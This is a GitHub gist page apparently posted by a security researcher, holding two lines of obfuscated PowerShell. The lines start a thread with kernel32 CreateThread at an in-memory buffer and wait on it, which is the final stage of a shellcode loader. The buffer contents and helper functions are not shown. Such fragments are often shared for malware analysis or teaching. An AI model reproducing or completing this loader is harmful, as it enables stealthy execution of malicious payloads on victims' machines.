Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created May 3, 2021 23:11
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/21d5883cb161bf0cdf2b17ad7d49d0d6 to your computer and use it in GitHub Desktop.
Save JohnHammond/21d5883cb161bf0cdf2b17ad7d49d0d6 to your computer and use it in GitHub Desktop.
$t6Y = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll CreateThread), (b9MW @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$sC6US,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll WaitForSingleObject), (b9MW @([IntPtr], [Int32]))).Invoke($t6Y,0xffffffff) | Out-Null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment